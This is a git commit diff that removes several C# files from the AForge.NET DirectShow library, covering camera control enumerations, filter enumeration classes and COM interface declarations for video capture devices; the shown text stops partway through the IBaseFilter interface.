Add Plugins.
This commit is contained in:
parent
add6f4e73a
commit
a4651e17b7
@ -1,67 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
|
||||
/// <summary>
|
||||
/// The enumeration specifies a setting on a camera.
|
||||
/// </summary>
|
||||
public enum CameraControlProperty
|
||||
{
|
||||
/// <summary>
|
||||
/// Pan control.
|
||||
/// </summary>
|
||||
Pan = 0,
|
||||
/// <summary>
|
||||
/// Tilt control.
|
||||
/// </summary>
|
||||
Tilt,
|
||||
/// <summary>
|
||||
/// Roll control.
|
||||
/// </summary>
|
||||
Roll,
|
||||
/// <summary>
|
||||
/// Zoom control.
|
||||
/// </summary>
|
||||
Zoom,
|
||||
/// <summary>
|
||||
/// Exposure control.
|
||||
/// </summary>
|
||||
Exposure,
|
||||
/// <summary>
|
||||
/// Iris control.
|
||||
/// </summary>
|
||||
Iris,
|
||||
/// <summary>
|
||||
/// Focus control.
|
||||
/// </summary>
|
||||
Focus
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The enumeration defines whether a camera setting is controlled manually or automatically.
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum CameraControlFlags
|
||||
{
|
||||
/// <summary>
|
||||
/// No control flag.
|
||||
/// </summary>
|
||||
None = 0x0,
|
||||
/// <summary>
|
||||
/// Auto control Flag.
|
||||
/// </summary>
|
||||
Auto = 0x0001,
|
||||
/// <summary>
|
||||
/// Manual control Flag.
|
||||
/// </summary>
|
||||
Manual = 0x0002
|
||||
}
|
||||
}
|
@ -1,193 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
using AForge.Video.DirectShow.Internals;
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow filter information.
|
||||
/// </summary>
|
||||
///
|
||||
public class FilterInfo : IComparable
|
||||
{
|
||||
/// <summary>
|
||||
/// Filter name.
|
||||
/// </summary>
|
||||
public string Name { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Filters's moniker string.
|
||||
/// </summary>
|
||||
///
|
||||
public string MonikerString { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="monikerString">Filters's moniker string.</param>
|
||||
///
|
||||
public FilterInfo( string monikerString )
|
||||
{
|
||||
MonikerString = monikerString;
|
||||
Name = GetName( monikerString );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="moniker">Filter's moniker object.</param>
|
||||
///
|
||||
internal FilterInfo( IMoniker moniker )
|
||||
{
|
||||
MonikerString = GetMonikerString( moniker );
|
||||
Name = GetName( moniker );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Compare the object with another instance of this class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="value">Object to compare with.</param>
|
||||
///
|
||||
/// <returns>A signed number indicating the relative values of this instance and <b>value</b>.</returns>
|
||||
///
|
||||
public int CompareTo( object value )
|
||||
{
|
||||
FilterInfo f = (FilterInfo) value;
|
||||
|
||||
if ( f == null )
|
||||
return 1;
|
||||
|
||||
return ( this.Name.CompareTo( f.Name ) );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Create an instance of the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filterMoniker">Filter's moniker string.</param>
|
||||
///
|
||||
/// <returns>Returns filter's object, which implements <b>IBaseFilter</b> interface.</returns>
|
||||
///
|
||||
/// <remarks>The returned filter's object should be released using <b>Marshal.ReleaseComObject()</b>.</remarks>
|
||||
///
|
||||
public static object CreateFilter( string filterMoniker )
|
||||
{
|
||||
// filter's object
|
||||
object filterObject = null;
|
||||
// bind context and moniker objects
|
||||
IBindCtx bindCtx = null;
|
||||
IMoniker moniker = null;
|
||||
|
||||
int n = 0;
|
||||
|
||||
// create bind context
|
||||
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
|
||||
{
|
||||
// convert moniker`s string to a moniker
|
||||
if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 )
|
||||
{
|
||||
// get device base filter
|
||||
Guid filterId = typeof( IBaseFilter ).GUID;
|
||||
moniker.BindToObject( null, null, ref filterId, out filterObject );
|
||||
|
||||
Marshal.ReleaseComObject( moniker );
|
||||
}
|
||||
Marshal.ReleaseComObject( bindCtx );
|
||||
}
|
||||
return filterObject;
|
||||
}
|
||||
|
||||
//
|
||||
// Get moniker string of the moniker
|
||||
//
|
||||
private string GetMonikerString( IMoniker moniker )
|
||||
{
|
||||
string str;
|
||||
moniker.GetDisplayName( null, null, out str );
|
||||
return str;
|
||||
}
|
||||
|
||||
//
|
||||
// Get filter name represented by the moniker
|
||||
//
|
||||
private string GetName( IMoniker moniker )
|
||||
{
|
||||
Object bagObj = null;
|
||||
IPropertyBag bag = null;
|
||||
|
||||
try
|
||||
{
|
||||
Guid bagId = typeof( IPropertyBag ).GUID;
|
||||
// get property bag of the moniker
|
||||
moniker.BindToStorage( null, null, ref bagId, out bagObj );
|
||||
bag = (IPropertyBag) bagObj;
|
||||
|
||||
// read FriendlyName
|
||||
object val = "";
|
||||
int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero );
|
||||
if ( hr != 0 )
|
||||
Marshal.ThrowExceptionForHR( hr );
|
||||
|
||||
// get it as string
|
||||
string ret = (string) val;
|
||||
if ( ( ret == null ) || ( ret.Length < 1 ) )
|
||||
throw new ApplicationException( );
|
||||
|
||||
return ret;
|
||||
}
|
||||
catch ( Exception )
|
||||
{
|
||||
return "";
|
||||
}
|
||||
finally
|
||||
{
|
||||
// release all COM objects
|
||||
bag = null;
|
||||
if ( bagObj != null )
|
||||
{
|
||||
Marshal.ReleaseComObject( bagObj );
|
||||
bagObj = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Get filter name represented by the moniker string
|
||||
//
|
||||
private string GetName( string monikerString )
|
||||
{
|
||||
IBindCtx bindCtx = null;
|
||||
IMoniker moniker = null;
|
||||
String name = "";
|
||||
int n = 0;
|
||||
|
||||
// create bind context
|
||||
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
|
||||
{
|
||||
// convert moniker`s string to a moniker
|
||||
if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 )
|
||||
{
|
||||
// get device name
|
||||
name = GetName( moniker );
|
||||
|
||||
Marshal.ReleaseComObject( moniker );
|
||||
moniker = null;
|
||||
}
|
||||
Marshal.ReleaseComObject( bindCtx );
|
||||
bindCtx = null;
|
||||
}
|
||||
return name;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,138 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
using AForge.Video.DirectShow.Internals;
|
||||
|
||||
/// <summary>
|
||||
/// Collection of filters' information objects.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>The class allows to enumerate DirectShow filters of specified category. For
|
||||
/// a list of categories see <see cref="FilterCategory"/>.</para>
|
||||
///
|
||||
/// <para>Sample usage:</para>
|
||||
/// <code>
|
||||
/// // enumerate video devices
|
||||
/// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );
|
||||
/// // list devices
|
||||
/// foreach ( FilterInfo device in videoDevices )
|
||||
/// {
|
||||
/// // ...
|
||||
/// }
|
||||
/// </code>
|
||||
/// </remarks>
|
||||
///
|
||||
public class FilterInfoCollection : CollectionBase
|
||||
{
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FilterInfoCollection"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">Guid of DirectShow filter category. See <see cref="FilterCategory"/>.</param>
|
||||
///
|
||||
/// <remarks>Build collection of filters' information objects for the
|
||||
/// specified filter category.</remarks>
|
||||
///
|
||||
public FilterInfoCollection( Guid category )
|
||||
{
|
||||
CollectFilters( category );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get filter information object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="index">Index of filter information object to retrieve.</param>
|
||||
///
|
||||
/// <returns>Filter information object.</returns>
|
||||
///
|
||||
public FilterInfo this[int index]
|
||||
{
|
||||
get
|
||||
{
|
||||
return ( (FilterInfo) InnerList[index] );
|
||||
}
|
||||
}
|
||||
|
||||
// Collect filters of specified category
|
||||
private void CollectFilters( Guid category )
|
||||
{
|
||||
object comObj = null;
|
||||
ICreateDevEnum enumDev = null;
|
||||
IEnumMoniker enumMon = null;
|
||||
IMoniker[] devMon = new IMoniker[1];
|
||||
int hr;
|
||||
|
||||
try
|
||||
{
|
||||
// Get the system device enumerator
|
||||
Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum );
|
||||
if ( srvType == null )
|
||||
throw new ApplicationException( "Failed creating device enumerator" );
|
||||
|
||||
// create device enumerator
|
||||
comObj = Activator.CreateInstance( srvType );
|
||||
enumDev = (ICreateDevEnum) comObj;
|
||||
|
||||
// Create an enumerator to find filters of specified category
|
||||
hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 );
|
||||
if ( hr != 0 )
|
||||
throw new ApplicationException( "No devices of the category" );
|
||||
|
||||
// Collect all filters
|
||||
IntPtr n = IntPtr.Zero;
|
||||
while ( true )
|
||||
{
|
||||
// Get next filter
|
||||
hr = enumMon.Next( 1, devMon, n );
|
||||
if ( ( hr != 0 ) || ( devMon[0] == null ) )
|
||||
break;
|
||||
|
||||
// Add the filter
|
||||
FilterInfo filter = new FilterInfo( devMon[0] );
|
||||
InnerList.Add( filter );
|
||||
|
||||
// Release COM object
|
||||
Marshal.ReleaseComObject( devMon[0] );
|
||||
devMon[0] = null;
|
||||
}
|
||||
|
||||
// Sort the collection
|
||||
InnerList.Sort( );
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
// release all COM objects
|
||||
enumDev = null;
|
||||
if ( comObj != null )
|
||||
{
|
||||
Marshal.ReleaseComObject( comObj );
|
||||
comObj = null;
|
||||
}
|
||||
if ( enumMon != null )
|
||||
{
|
||||
Marshal.ReleaseComObject( enumMon );
|
||||
enumMon = null;
|
||||
}
|
||||
if ( devMon[0] != null )
|
||||
{
|
||||
Marshal.ReleaseComObject( devMon[0] );
|
||||
devMon[0] = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,81 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment,
|
||||
/// or shutter speed. To obtain this interface, query the filter that controls the camera.
|
||||
/// </summary>
|
||||
[ComImport,
|
||||
Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IAMCameraControl
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets the range and default value of a specified camera property.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="Property">Specifies the property to query.</param>
|
||||
/// <param name="pMin">Receives the minimum value of the property.</param>
|
||||
/// <param name="pMax">Receives the maximum value of the property.</param>
|
||||
/// <param name="pSteppingDelta">Receives the step size for the property.</param>
|
||||
/// <param name="pDefault">Receives the default value of the property. </param>
|
||||
/// <param name="pCapsFlags">Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetRange(
|
||||
[In] CameraControlProperty Property,
|
||||
[Out] out int pMin,
|
||||
[Out] out int pMax,
|
||||
[Out] out int pSteppingDelta,
|
||||
[Out] out int pDefault,
|
||||
[Out] out CameraControlFlags pCapsFlags
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Sets a specified property on the camera.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="Property">Specifies the property to set.</param>
|
||||
/// <param name="lValue">Specifies the new value of the property.</param>
|
||||
/// <param name="Flags">Specifies the desired control setting, as a member of the CameraControlFlags enumeration.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Set(
|
||||
[In] CameraControlProperty Property,
|
||||
[In] int lValue,
|
||||
[In] CameraControlFlags Flags
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Gets the current setting of a camera property.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="Property">Specifies the property to retrieve.</param>
|
||||
/// <param name="lValue">Receives the value of the property.</param>
|
||||
/// <param name="Flags">Receives a member of the CameraControlFlags enumeration.
|
||||
/// The returned value indicates whether the setting is controlled manually or automatically.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Get(
|
||||
[In] CameraControlProperty Property,
|
||||
[Out] out int lValue,
|
||||
[Out] out CameraControlFlags Flags
|
||||
);
|
||||
}
|
||||
}
|
@ -1,88 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2012
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter.
|
||||
/// </summary>
|
||||
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
|
||||
Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IAMCrossbar
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the number of input and output pins on the crossbar filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinCount">Variable that receives the number of output pins.</param>
|
||||
/// <param name="inputPinCount">Variable that receives the number of input pins.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount );
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether a specified input pin can be routed to a specified output pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||
/// <param name="inputPinIndex">Specifies the index of input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex );
|
||||
|
||||
/// <summary>
|
||||
/// Routes an input pin to an output pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||
/// <param name="inputPinIndex">Specifies the index of the input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Route( [In] int outputPinIndex, [In] int inputPinIndex );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the input pin that is currently routed to the specified output pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||
/// <param name="inputPinIndex">Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves information about a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="isInputPin">Specifies the direction of the pin. Use one of the following values.</param>
|
||||
/// <param name="pinIndex">Specifies the index of the pin.</param>
|
||||
/// <param name="pinIndexRelated">Variable that receives the index of the related pin, or –1 if no pin is related to this pin.</param>
|
||||
/// <param name="physicalType">Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_CrossbarPinInfo(
|
||||
[In, MarshalAs( UnmanagedType.Bool )] bool isInputPin,
|
||||
[In] int pinIndex,
|
||||
[Out] out int pinIndexRelated,
|
||||
[Out] out PhysicalConnectorType physicalType );
|
||||
}
|
||||
}
|
@ -1,74 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface sets the output format on certain capture and compression filters,
|
||||
/// for both audio and video.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IAMStreamConfig
|
||||
{
|
||||
/// <summary>
|
||||
/// Set the output format on the pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Media type to set.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the audio or video stream's format.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Retrieved media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve the number of format capabilities that this pin supports.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="count">Variable that receives the number of format capabilities.</param>
|
||||
/// <param name="size">Variable that receives the size of the configuration structure in bytes.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetNumberOfCapabilities( out int count, out int size );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve a set of format capabilities.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="index">Specifies the format capability to retrieve, indexed from zero.</param>
|
||||
/// <param name="mediaType">Retrieved media type.</param>
|
||||
/// <param name="streamConfigCaps">Byte array, which receives information about capabilities.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetStreamCaps(
|
||||
[In] int index,
|
||||
[Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType,
|
||||
[In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps
|
||||
);
|
||||
}
|
||||
}
|
@ -1,112 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The interface controls certain video capture operations such as enumerating available
|
||||
/// frame rates and image orientation.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IAMVideoControl
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the capabilities of the underlying hardware.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to query capabilities from.</param>
|
||||
/// <param name="flags">Get capabilities of the specified pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the video control mode of operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to set the video control mode on.</param>
|
||||
/// <param name="mode">Value specifying a combination of the flags to set the video control mode.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the video control mode of operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the video control mode from.</param>
|
||||
/// <param name="mode">Gets combination of flags, which specify the video control mode.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode );
|
||||
|
||||
/// <summary>
|
||||
/// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units.
|
||||
/// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested
|
||||
/// because of bandwidth availability. This is only available during video streaming.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the frame rate from.</param>
|
||||
/// <param name="actualFrameRate">Gets frame rate in frame duration in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections
|
||||
/// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth
|
||||
/// availability.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
|
||||
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
|
||||
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
|
||||
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
|
||||
/// <param name="maxAvailableFrameRate">Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index,
|
||||
[In] System.Drawing.Size dimensions,
|
||||
[Out] out long maxAvailableFrameRate );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a list of available frame rates.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
|
||||
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
|
||||
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
|
||||
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
|
||||
/// <param name="listSize">Number of elements in the list of frame rates.</param>
|
||||
/// <param name="frameRate">Array of frame rates in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetFrameRateList( [In] IPin pin, [In] int index,
|
||||
[In] System.Drawing.Size dimensions,
|
||||
[Out] out int listSize,
|
||||
[Out] out IntPtr frameRate );
|
||||
}
|
||||
}
|
@ -1,161 +0,0 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The IBaseFilter interface provides methods for controlling a filter.
|
||||
/// All DirectShow filters expose this interface
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IBaseFilter
|
||||
{
|
||||
// --- IPersist Methods
|
||||
|
||||
/// <summary>
|
||||
/// Returns the class identifier (CLSID) for the component object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="ClassID">Points to the location of the CLSID on return.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetClassID( [Out] out Guid ClassID );
|
||||
|
||||
// --- IMediaFilter Methods
|
||||
|
||||
/// <summary>
|
||||
/// Stops the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Stop( );
|
||||
|
||||
/// <summary>
|
||||
/// Pauses the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Pause( );
|
||||
|
||||
/// <summary>
|
||||
/// Runs the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="start">Reference time corresponding to stream time 0.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Run( long start );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the state of the filter (running, stopped, or paused).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="milliSecsTimeout">Time-out interval, in milliseconds.</param>
|
||||
/// <param name="filterState">Pointer to a variable that receives filter's state.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetState( int milliSecsTimeout, [Out] out int filterState );
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock for the filter or the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="clock">Pointer to the clock's <b>IReferenceClock</b> interface, or NULL. </param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetSyncSource( [In] IntPtr clock );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the current reference clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="clock">Address of a variable that receives a pointer to the clock's IReferenceClock interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetSyncSource( [Out] out IntPtr clock );
|
||||
|
||||
// --- IBaseFilter Methods
|
||||
|
||||
/// <summary>
|
||||
/// Enumerates the pins on this filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumPins">Address of a variable that receives a pointer to the IEnumPins interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumPins( [Out] out IEnumPins enumPins );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the pin with the specified identifier.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="id">Pointer to a constant wide-character string that identifies the pin.</param>
|
||||
/// <param name="pin">Address of a variable that receives a pointer to the pin's IPin interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves information about the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filterInfo">Pointer to <b>FilterInfo</b> structure.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
